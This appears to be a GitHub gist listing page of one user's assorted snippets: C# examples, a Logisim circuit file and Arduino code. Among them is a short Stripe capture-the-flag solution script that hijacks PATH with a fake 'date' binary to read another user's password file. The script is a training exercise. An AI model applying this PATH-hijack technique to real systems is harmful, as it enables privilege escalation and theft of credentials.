Skip to content

Instantly share code, notes, and snippets.

@ungood
ungood / gist:2226469
Created March 28, 2012 14:08
Simple example of DI
public class OrderProcessor
{
public OrderProcessor(IOrderAllocator allocator, IOrderFulfiller fulfiller)
{
// ...
}
public void Process()
{
}
// An action a mob can take. For example: wander, move towards goal, attack
public interface IMobAction
{
bool CanExecute(Mob mob);
void Execute(Mob mob);
}
// A simple example:
public class WanderAction : IMobAction
{
@ungood
ungood / level01.sh
Created February 23, 2012 18:04
stripe capture-the-flag
mkdir -p /tmp/ungood
cd -p /tmp/ungood
echo 'cat /home/level02/.password' > date
chmod a+x date
export PATH=/tmp/ungood:$PATH
/levels/level01
@ungood
ungood / gist:1323632
Created October 28, 2011 21:36
Simple parsing regex
var r = new Regex(@"^(?<property>[\w]+):(?<error>.+)$", RegexOptions.Multiline);
var lookup = r.Matches("xyz").Cast<Match>().ToLookup(
=> m.Groups["property"].Value,
=> m.Groups["error"].Value);
@ungood
ungood / gist:1237847
Created September 23, 2011 16:49
CTR Ranged Test
public class WhenSomethingSomethingSomething : BaseShippingOverrideContext
{
[TestCase(NoOverrideId, new DateTime(2011, 9, 23, 10, 21, 13), true]
[TestCase(PennsylvaniaNightSortId, new DateTime(2011, 9, 23, 14, 16, 0), true]
[TestCase(PennsylvaniaNightSortId, new DateTime(2011, 9, 23, 12, 0, 0), false]
public void CheckTimeRestrictionShouldReturnCorrectValue(int typeId, DateTime orderDate, bool expected)
{
var override = ShippingOverridePostalCodeTypeFactory.CreateTypeById(typeId);
ServiceUnderTest.CheckTimeRestriction(override, orderDate);
}
@ungood
ungood / gist:1203622
Created September 8, 2011 15:03
Getting in the backdoor example...
public class SensitiveStuff
{
private List<int> doNotAddToMe = new List<int>();
public IEnumerable<int> DoNotAddToMe
{
get { return doNotAddToMe; }
}
}
@ungood
ungood / life.circ
Created July 21, 2011 23:57
life in logisim
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<project source="2.7.1" version="1.0">
This file is intended to be loaded by Logisim (http://www.cburch.com/logisim/).
<lib desc="#Wiring" name="0">
<tool name="Splitter">
<a name="facing" val="west"/>
</tool>
<tool name="Tunnel">
<a name="width" val="8"/>
</tool>
public static string GetProductDetails(string id)
{
var reader = blahBlahBlah();
var list = new List<object>();
while(reader.Read())
{
list.Add(new {
Id = reader["Id"],
Name = reader["Name"],
@ungood
ungood / hoola.pde
Created June 13, 2011 22:23
Hoola Hoop Code
#include <Button.h>
// LEDs
const int numLedsInArray = 16;
const int numPinsPerLed = 3;
// Pattern Settings
const int patternIncrement = 16;
const int incrementDivider = 8;
const int patternRange = numLedsInArray * patternIncrement; //* incrementDivider;
@ungood
ungood / gist:989564
Created May 24, 2011 20:07
coop code
const int topPin = 3;
const int bottomPin = 4;
const int upPin = 5;
const int downPin = 6;
const int sensorPin = 0; // analog pin
const int nightThreshold = 50;
const int dayThreshold = 900;
const int nightLength = 8 * 60 * 60 * 1000; // 8 hours in ms.